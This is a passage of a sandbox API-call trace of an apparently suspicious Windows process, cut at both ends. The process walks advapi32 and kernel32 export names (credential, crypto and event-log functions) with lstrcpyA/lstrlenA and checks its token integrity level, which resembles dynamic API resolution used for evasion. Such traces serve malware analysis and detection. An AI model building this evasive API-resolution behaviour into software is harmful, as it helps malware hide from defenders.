returned="CredFindBestCredentialW" [0036.074] lstrlenA (lpString="CREDFINDBESTCREDENTIALW") returned 23 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredFree" | out: lpString1="CredFree") returned="CredFree" [0036.074] lstrlenA (lpString="CREDFREE") returned 8 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredGetSessionTypes" | out: lpString1="CredGetSessionTypes") returned="CredGetSessionTypes" [0036.074] lstrlenA (lpString="CREDGETSESSIONTYPES") returned 19 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredGetTargetInfoA" | out: lpString1="CredGetTargetInfoA") returned="CredGetTargetInfoA" [0036.074] lstrlenA (lpString="CREDGETTARGETINFOA") returned 18 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredGetTargetInfoW" | out: lpString1="CredGetTargetInfoW") returned="CredGetTargetInfoW" [0036.074] lstrlenA (lpString="CREDGETTARGETINFOW") returned 18 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredIsMarshaledCredentialA" | out: lpString1="CredIsMarshaledCredentialA") returned="CredIsMarshaledCredentialA" [0036.074] lstrlenA (lpString="CREDISMARSHALEDCREDENTIALA") returned 26 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredIsMarshaledCredentialW" | out: lpString1="CredIsMarshaledCredentialW") returned="CredIsMarshaledCredentialW" [0036.074] lstrlenA (lpString="CREDISMARSHALEDCREDENTIALW") returned 26 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredIsProtectedA" | out: lpString1="CredIsProtectedA") returned="CredIsProtectedA" [0036.074] lstrlenA (lpString="CREDISPROTECTEDA") returned 16 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredIsProtectedW" | out: lpString1="CredIsProtectedW") returned="CredIsProtectedW" [0036.074] lstrlenA (lpString="CREDISPROTECTEDW") returned 16 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredMarshalCredentialA" | out: lpString1="CredMarshalCredentialA") returned="CredMarshalCredentialA" [0036.074] lstrlenA (lpString="CREDMARSHALCREDENTIALA") returned 22 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredMarshalCredentialW" | out: lpString1="CredMarshalCredentialW") returned="CredMarshalCredentialW" [0036.074] lstrlenA (lpString="CREDMARSHALCREDENTIALW") returned 22 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredProfileLoaded" | out: lpString1="CredProfileLoaded") returned="CredProfileLoaded" [0036.074] lstrlenA (lpString="CREDPROFILELOADED") returned 17 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredProfileUnloaded" | out: lpString1="CredProfileUnloaded") returned="CredProfileUnloaded" [0036.074] lstrlenA (lpString="CREDPROFILEUNLOADED") returned 19 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredProtectA" | out: lpString1="CredProtectA") returned="CredProtectA" [0036.074] lstrlenA (lpString="CREDPROTECTA") returned 12 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredProtectW" | out: lpString1="CredProtectW") returned="CredProtectW" [0036.075] lstrlenA (lpString="CREDPROTECTW") returned 12 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredReadA" | out: lpString1="CredReadA") returned="CredReadA" [0036.075] lstrlenA (lpString="CREDREADA") returned 9 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredReadByTokenHandle" | out: lpString1="CredReadByTokenHandle") returned="CredReadByTokenHandle" [0036.075] lstrlenA (lpString="CREDREADBYTOKENHANDLE") returned 21 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredReadDomainCredentialsA" | out: lpString1="CredReadDomainCredentialsA") returned="CredReadDomainCredentialsA" [0036.075] lstrlenA (lpString="CREDREADDOMAINCREDENTIALSA") returned 26 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredReadDomainCredentialsW" | out: lpString1="CredReadDomainCredentialsW") returned="CredReadDomainCredentialsW" [0036.075] lstrlenA (lpString="CREDREADDOMAINCREDENTIALSW") returned 26 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredReadW" | out: lpString1="CredReadW") returned="CredReadW" [0036.075] lstrlenA (lpString="CREDREADW") returned 9 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredRenameA" | out: lpString1="CredRenameA") returned="CredRenameA" [0036.075] lstrlenA (lpString="CREDRENAMEA") returned 11 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredRenameW" | out: lpString1="CredRenameW") returned="CredRenameW" [0036.075] lstrlenA (lpString="CREDRENAMEW") returned 11 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredRestoreCredentials" | out: lpString1="CredRestoreCredentials") returned="CredRestoreCredentials" [0036.075] lstrlenA (lpString="CREDRESTORECREDENTIALS") returned 22 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredUnmarshalCredentialA" | out: lpString1="CredUnmarshalCredentialA") returned="CredUnmarshalCredentialA" [0036.075] lstrlenA (lpString="CREDUNMARSHALCREDENTIALA") returned 24 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredUnmarshalCredentialW" | out: lpString1="CredUnmarshalCredentialW") returned="CredUnmarshalCredentialW" [0036.075] lstrlenA (lpString="CREDUNMARSHALCREDENTIALW") returned 24 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredUnprotectA" | out: lpString1="CredUnprotectA") returned="CredUnprotectA" [0036.075] lstrlenA (lpString="CREDUNPROTECTA") returned 14 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredUnprotectW" | out: lpString1="CredUnprotectW") returned="CredUnprotectW" [0036.075] lstrlenA (lpString="CREDUNPROTECTW") returned 14 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredWriteA" | out: lpString1="CredWriteA") returned="CredWriteA" [0036.075] lstrlenA (lpString="CREDWRITEA") returned 10 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredWriteDomainCredentialsA" | out: lpString1="CredWriteDomainCredentialsA") returned="CredWriteDomainCredentialsA" [0036.075] lstrlenA (lpString="CREDWRITEDOMAINCREDENTIALSA") returned 27 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredWriteDomainCredentialsW" | out: lpString1="CredWriteDomainCredentialsW") returned="CredWriteDomainCredentialsW" [0036.075] lstrlenA (lpString="CREDWRITEDOMAINCREDENTIALSW") returned 27 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredWriteW" | out: lpString1="CredWriteW") returned="CredWriteW" [0036.075] lstrlenA (lpString="CREDWRITEW") returned 10 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredpConvertCredential" | out: lpString1="CredpConvertCredential") returned="CredpConvertCredential" [0036.075] lstrlenA (lpString="CREDPCONVERTCREDENTIAL") returned 22 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredpConvertOneCredentialSize" | out: lpString1="CredpConvertOneCredentialSize") returned="CredpConvertOneCredentialSize" [0036.075] lstrlenA (lpString="CREDPCONVERTONECREDENTIALSIZE") returned 29 [0036.075] lstrcpyA (in: lpString1=0x34e420, lpString2="CredpConvertTargetInfo" | out: lpString1="CredpConvertTargetInfo") returned="CredpConvertTargetInfo" [0036.075] lstrlenA (lpString="CREDPCONVERTTARGETINFO") returned 22 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CredpDecodeCredential" | out: lpString1="CredpDecodeCredential") returned="CredpDecodeCredential" [0036.076] lstrlenA (lpString="CREDPDECODECREDENTIAL") returned 21 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CredpEncodeCredential" | out: lpString1="CredpEncodeCredential") returned="CredpEncodeCredential" [0036.076] lstrlenA (lpString="CREDPENCODECREDENTIAL") returned 21 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CredpEncodeSecret" | out: lpString1="CredpEncodeSecret") returned="CredpEncodeSecret" [0036.076] lstrlenA (lpString="CREDPENCODESECRET") returned 17 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptAcquireContextA" | out: lpString1="CryptAcquireContextA") returned="CryptAcquireContextA" [0036.076] lstrlenA (lpString="CRYPTACQUIRECONTEXTA") returned 20 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptAcquireContextW" | out: lpString1="CryptAcquireContextW") returned="CryptAcquireContextW" [0036.076] lstrlenA (lpString="CRYPTACQUIRECONTEXTW") returned 20 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptContextAddRef" | out: lpString1="CryptContextAddRef") returned="CryptContextAddRef" [0036.076] lstrlenA (lpString="CRYPTCONTEXTADDREF") returned 18 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptCreateHash" | out: lpString1="CryptCreateHash") returned="CryptCreateHash" [0036.076] lstrlenA (lpString="CRYPTCREATEHASH") returned 15 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptDecrypt" | out: lpString1="CryptDecrypt") returned="CryptDecrypt" [0036.076] lstrlenA (lpString="CRYPTDECRYPT") returned 12 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptDeriveKey" | out: lpString1="CryptDeriveKey") returned="CryptDeriveKey" [0036.076] lstrlenA (lpString="CRYPTDERIVEKEY") returned 14 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptDestroyHash" | out: lpString1="CryptDestroyHash") returned="CryptDestroyHash" [0036.076] lstrlenA (lpString="CRYPTDESTROYHASH") returned 16 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptDestroyKey" | out: lpString1="CryptDestroyKey") returned="CryptDestroyKey" [0036.076] lstrlenA (lpString="CRYPTDESTROYKEY") returned 15 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptDuplicateHash" | out: lpString1="CryptDuplicateHash") returned="CryptDuplicateHash" [0036.076] lstrlenA (lpString="CRYPTDUPLICATEHASH") returned 18 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptDuplicateKey" | out: lpString1="CryptDuplicateKey") returned="CryptDuplicateKey" [0036.076] lstrlenA (lpString="CRYPTDUPLICATEKEY") returned 17 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptEncrypt" | out: lpString1="CryptEncrypt") returned="CryptEncrypt" [0036.076] lstrlenA (lpString="CRYPTENCRYPT") returned 12 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptEnumProviderTypesA" | out: lpString1="CryptEnumProviderTypesA") returned="CryptEnumProviderTypesA" [0036.076] lstrlenA (lpString="CRYPTENUMPROVIDERTYPESA") returned 23 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptEnumProviderTypesW" | out: lpString1="CryptEnumProviderTypesW") returned="CryptEnumProviderTypesW" [0036.076] lstrlenA (lpString="CRYPTENUMPROVIDERTYPESW") returned 23 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptEnumProvidersA" | out: lpString1="CryptEnumProvidersA") returned="CryptEnumProvidersA" [0036.076] lstrlenA (lpString="CRYPTENUMPROVIDERSA") returned 19 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptEnumProvidersW" | out: lpString1="CryptEnumProvidersW") returned="CryptEnumProvidersW" [0036.076] lstrlenA (lpString="CRYPTENUMPROVIDERSW") returned 19 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptExportKey" | out: lpString1="CryptExportKey") returned="CryptExportKey" [0036.076] lstrlenA (lpString="CRYPTEXPORTKEY") returned 14 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptGenKey" | out: lpString1="CryptGenKey") returned="CryptGenKey" [0036.076] lstrlenA (lpString="CRYPTGENKEY") returned 11 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptGenRandom" | out: lpString1="CryptGenRandom") returned="CryptGenRandom" [0036.076] lstrlenA (lpString="CRYPTGENRANDOM") returned 14 [0036.076] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptGetDefaultProviderA" | out: lpString1="CryptGetDefaultProviderA") returned="CryptGetDefaultProviderA" [0036.076] lstrlenA (lpString="CRYPTGETDEFAULTPROVIDERA") returned 24 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptGetDefaultProviderW" | out: lpString1="CryptGetDefaultProviderW") returned="CryptGetDefaultProviderW" [0036.077] lstrlenA (lpString="CRYPTGETDEFAULTPROVIDERW") returned 24 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptGetHashParam" | out: lpString1="CryptGetHashParam") returned="CryptGetHashParam" [0036.077] lstrlenA (lpString="CRYPTGETHASHPARAM") returned 17 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptGetKeyParam" | out: lpString1="CryptGetKeyParam") returned="CryptGetKeyParam" [0036.077] lstrlenA (lpString="CRYPTGETKEYPARAM") returned 16 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptGetProvParam" | out: lpString1="CryptGetProvParam") returned="CryptGetProvParam" [0036.077] lstrlenA (lpString="CRYPTGETPROVPARAM") returned 17 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptGetUserKey" | out: lpString1="CryptGetUserKey") returned="CryptGetUserKey" [0036.077] lstrlenA (lpString="CRYPTGETUSERKEY") returned 15 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptHashData" | out: lpString1="CryptHashData") returned="CryptHashData" [0036.077] lstrlenA (lpString="CRYPTHASHDATA") returned 13 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptHashSessionKey" | out: lpString1="CryptHashSessionKey") returned="CryptHashSessionKey" [0036.077] lstrlenA (lpString="CRYPTHASHSESSIONKEY") returned 19 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptImportKey" | out: lpString1="CryptImportKey") returned="CryptImportKey" [0036.077] lstrlenA (lpString="CRYPTIMPORTKEY") returned 14 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptReleaseContext" | out: lpString1="CryptReleaseContext") returned="CryptReleaseContext" [0036.077] lstrlenA (lpString="CRYPTRELEASECONTEXT") returned 19 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSetHashParam" | out: lpString1="CryptSetHashParam") returned="CryptSetHashParam" [0036.077] lstrlenA (lpString="CRYPTSETHASHPARAM") returned 17 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSetKeyParam" | out: lpString1="CryptSetKeyParam") returned="CryptSetKeyParam" [0036.077] lstrlenA (lpString="CRYPTSETKEYPARAM") returned 16 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSetProvParam" | out: lpString1="CryptSetProvParam") returned="CryptSetProvParam" [0036.077] lstrlenA (lpString="CRYPTSETPROVPARAM") returned 17 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSetProviderA" | out: lpString1="CryptSetProviderA") returned="CryptSetProviderA" [0036.077] lstrlenA (lpString="CRYPTSETPROVIDERA") returned 17 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSetProviderExA" | out: lpString1="CryptSetProviderExA") returned="CryptSetProviderExA" [0036.077] lstrlenA (lpString="CRYPTSETPROVIDEREXA") returned 19 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSetProviderExW" | out: lpString1="CryptSetProviderExW") returned="CryptSetProviderExW" [0036.077] lstrlenA (lpString="CRYPTSETPROVIDEREXW") returned 19 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSetProviderW" | out: lpString1="CryptSetProviderW") returned="CryptSetProviderW" [0036.077] lstrlenA (lpString="CRYPTSETPROVIDERW") returned 17 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSignHashA" | out: lpString1="CryptSignHashA") returned="CryptSignHashA" [0036.077] lstrlenA (lpString="CRYPTSIGNHASHA") returned 14 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptSignHashW" | out: lpString1="CryptSignHashW") returned="CryptSignHashW" [0036.077] lstrlenA (lpString="CRYPTSIGNHASHW") returned 14 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptVerifySignatureA" | out: lpString1="CryptVerifySignatureA") returned="CryptVerifySignatureA" [0036.077] lstrlenA (lpString="CRYPTVERIFYSIGNATUREA") returned 21 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="CryptVerifySignatureW" | out: lpString1="CryptVerifySignatureW") returned="CryptVerifySignatureW" [0036.077] lstrlenA (lpString="CRYPTVERIFYSIGNATUREW") returned 21 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="DecryptFileA" | out: lpString1="DecryptFileA") returned="DecryptFileA" [0036.077] lstrlenA (lpString="DECRYPTFILEA") returned 12 [0036.077] lstrcpyA (in: lpString1=0x34e420, lpString2="DecryptFileW" | out: lpString1="DecryptFileW") returned="DecryptFileW" [0036.078] lstrlenA (lpString="DECRYPTFILEW") returned 12 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="DeleteAce" | out: lpString1="DeleteAce") returned="DeleteAce" [0036.078] lstrlenA (lpString="DELETEACE") returned 9 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="DeleteService" | out: lpString1="DeleteService") returned="DeleteService" [0036.078] lstrlenA (lpString="DELETESERVICE") returned 13 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="DeregisterEventSource" | out: lpString1="DeregisterEventSource") returned="DeregisterEventSource" [0036.078] lstrlenA (lpString="DEREGISTEREVENTSOURCE") returned 21 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="DestroyPrivateObjectSecurity" | out: lpString1="DestroyPrivateObjectSecurity") returned="DestroyPrivateObjectSecurity" [0036.078] lstrlenA (lpString="DESTROYPRIVATEOBJECTSECURITY") returned 28 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="DuplicateEncryptionInfoFile" | out: lpString1="DuplicateEncryptionInfoFile") returned="DuplicateEncryptionInfoFile" [0036.078] lstrlenA (lpString="DUPLICATEENCRYPTIONINFOFILE") returned 27 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="DuplicateToken" | out: lpString1="DuplicateToken") returned="DuplicateToken" [0036.078] lstrlenA (lpString="DUPLICATETOKEN") returned 14 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="DuplicateTokenEx" | out: lpString1="DuplicateTokenEx") returned="DuplicateTokenEx" [0036.078] lstrlenA (lpString="DUPLICATETOKENEX") returned 16 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfBackupEventLogFileA" | out: lpString1="ElfBackupEventLogFileA") returned="ElfBackupEventLogFileA" [0036.078] lstrlenA (lpString="ELFBACKUPEVENTLOGFILEA") returned 22 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfBackupEventLogFileW" | out: lpString1="ElfBackupEventLogFileW") returned="ElfBackupEventLogFileW" [0036.078] lstrlenA (lpString="ELFBACKUPEVENTLOGFILEW") returned 22 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfChangeNotify" | out: lpString1="ElfChangeNotify") returned="ElfChangeNotify" [0036.078] lstrlenA (lpString="ELFCHANGENOTIFY") returned 15 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfClearEventLogFileA" | out: lpString1="ElfClearEventLogFileA") returned="ElfClearEventLogFileA" [0036.078] lstrlenA (lpString="ELFCLEAREVENTLOGFILEA") returned 21 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfClearEventLogFileW" | out: lpString1="ElfClearEventLogFileW") returned="ElfClearEventLogFileW" [0036.078] lstrlenA (lpString="ELFCLEAREVENTLOGFILEW") returned 21 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfCloseEventLog" | out: lpString1="ElfCloseEventLog") returned="ElfCloseEventLog" [0036.078] lstrlenA (lpString="ELFCLOSEEVENTLOG") returned 16 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfDeregisterEventSource" | out: lpString1="ElfDeregisterEventSource") returned="ElfDeregisterEventSource" [0036.078] lstrlenA (lpString="ELFDEREGISTEREVENTSOURCE") returned 24 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfFlushEventLog" | out: lpString1="ElfFlushEventLog") returned="ElfFlushEventLog" [0036.078] lstrlenA (lpString="ELFFLUSHEVENTLOG") returned 16 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfNumberOfRecords" | out: lpString1="ElfNumberOfRecords") returned="ElfNumberOfRecords" [0036.078] lstrlenA (lpString="ELFNUMBEROFRECORDS") returned 18 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfOldestRecord" | out: lpString1="ElfOldestRecord") returned="ElfOldestRecord" [0036.078] lstrlenA (lpString="ELFOLDESTRECORD") returned 15 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfOpenBackupEventLogA" | out: lpString1="ElfOpenBackupEventLogA") returned="ElfOpenBackupEventLogA" [0036.078] lstrlenA (lpString="ELFOPENBACKUPEVENTLOGA") returned 22 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfOpenBackupEventLogW" | out: lpString1="ElfOpenBackupEventLogW") returned="ElfOpenBackupEventLogW" [0036.078] lstrlenA (lpString="ELFOPENBACKUPEVENTLOGW") returned 22 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfOpenEventLogA" | out: lpString1="ElfOpenEventLogA") returned="ElfOpenEventLogA" [0036.078] lstrlenA (lpString="ELFOPENEVENTLOGA") returned 16 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfOpenEventLogW" | out: lpString1="ElfOpenEventLogW") returned="ElfOpenEventLogW" [0036.078] lstrlenA (lpString="ELFOPENEVENTLOGW") returned 16 [0036.078] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfReadEventLogA" | out: lpString1="ElfReadEventLogA") returned="ElfReadEventLogA" [0036.079] lstrlenA (lpString="ELFREADEVENTLOGA") returned 16 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfReadEventLogW" | out: lpString1="ElfReadEventLogW") returned="ElfReadEventLogW" [0036.079] lstrlenA (lpString="ELFREADEVENTLOGW") returned 16 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfRegisterEventSourceA" | out: lpString1="ElfRegisterEventSourceA") returned="ElfRegisterEventSourceA" [0036.079] lstrlenA (lpString="ELFREGISTEREVENTSOURCEA") returned 23 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfRegisterEventSourceW" | out: lpString1="ElfRegisterEventSourceW") returned="ElfRegisterEventSourceW" [0036.079] lstrlenA (lpString="ELFREGISTEREVENTSOURCEW") returned 23 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfReportEventA" | out: lpString1="ElfReportEventA") returned="ElfReportEventA" [0036.079] lstrlenA (lpString="ELFREPORTEVENTA") returned 15 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfReportEventAndSourceW" | out: lpString1="ElfReportEventAndSourceW") returned="ElfReportEventAndSourceW" [0036.079] lstrlenA (lpString="ELFREPORTEVENTANDSOURCEW") returned 24 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="ElfReportEventW" | out: lpString1="ElfReportEventW") returned="ElfReportEventW" [0036.079] lstrlenA (lpString="ELFREPORTEVENTW") returned 15 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="EnableTrace" | out: lpString1="EnableTrace") returned="EnableTrace" [0036.079] lstrlenA (lpString="ENABLETRACE") returned 11 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="EnableTraceEx" | out: lpString1="EnableTraceEx") returned="EnableTraceEx" [0036.079] lstrlenA (lpString="ENABLETRACEEX") returned 13 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="EnableTraceEx2" | out: lpString1="EnableTraceEx2") returned="EnableTraceEx2" [0036.079] lstrlenA (lpString="ENABLETRACEEX2") returned 14 [0036.079] lstrcpyA (in: lpString1=0x34e420, lpString2="EncryptFileA" | out: lpString1="EncryptFileA") returned="EncryptFileA" [0036.079] RegQueryValueExW (in: hKey=0xd4, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0xf0000, lpcbData=0x34f0bc*=0x400 | out: lpType=0x0, lpData=0xf0000*=0x57, lpcbData=0x34f0bc*=0x2e) returned 0x0 [0036.079] RegCloseKey (hKey=0xd4) returned 0x0 [0036.079] GetCurrentProcess () returned 0xffffffff [0036.079] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x34f0a0 | out: TokenHandle=0x34f0a0*=0xd4) returned 1 [0036.080] GetTokenInformation (in: TokenHandle=0xd4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x34f0a4 | out: TokenInformation=0x0, ReturnLength=0x34f0a4) returned 0 [0036.080] GetLastError () returned 0x7a [0036.080] LocalAlloc (uFlags=0x0, uBytes=0x14) returned 0x660310 [0036.080] GetTokenInformation (in: TokenHandle=0xd4, TokenInformationClass=0x19, TokenInformation=0x660310, TokenInformationLength=0x14, ReturnLength=0x34f0a4 | out: TokenInformation=0x660310, ReturnLength=0x34f0a4) returned 1 [0036.080] GetSidSubAuthorityCount (pSid=0x660318*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x660319 [0036.080] GetSidSubAuthority (pSid=0x660318*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x660320 [0036.080] LocalFree (hMem=0x660310) returned 0x0 [0036.080] lstrlenA (lpString="kernel32.dll") returned 12 [0036.080] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.080] lstrcpyA (in: lpString1=0x34e41c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0036.080] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0036.080] lstrcpyA (in: lpString1=0x34e41c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0036.080] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0036.080] lstrcpyA (in: lpString1=0x34e41c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0036.080] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0036.080] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0036.080] lstrlenA (lpString="ADDATOMA") returned 8 [0036.080] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0036.080] lstrlenA (lpString="ADDATOMW") returned 8 [0036.080] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0036.080] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0036.080] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0036.080] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0036.080] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0036.081] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0036.081] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0036.081] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0036.081] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0036.081] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0036.081] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0036.081] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0036.081] lstrcpyA (in: lpString1=0x34e41c, 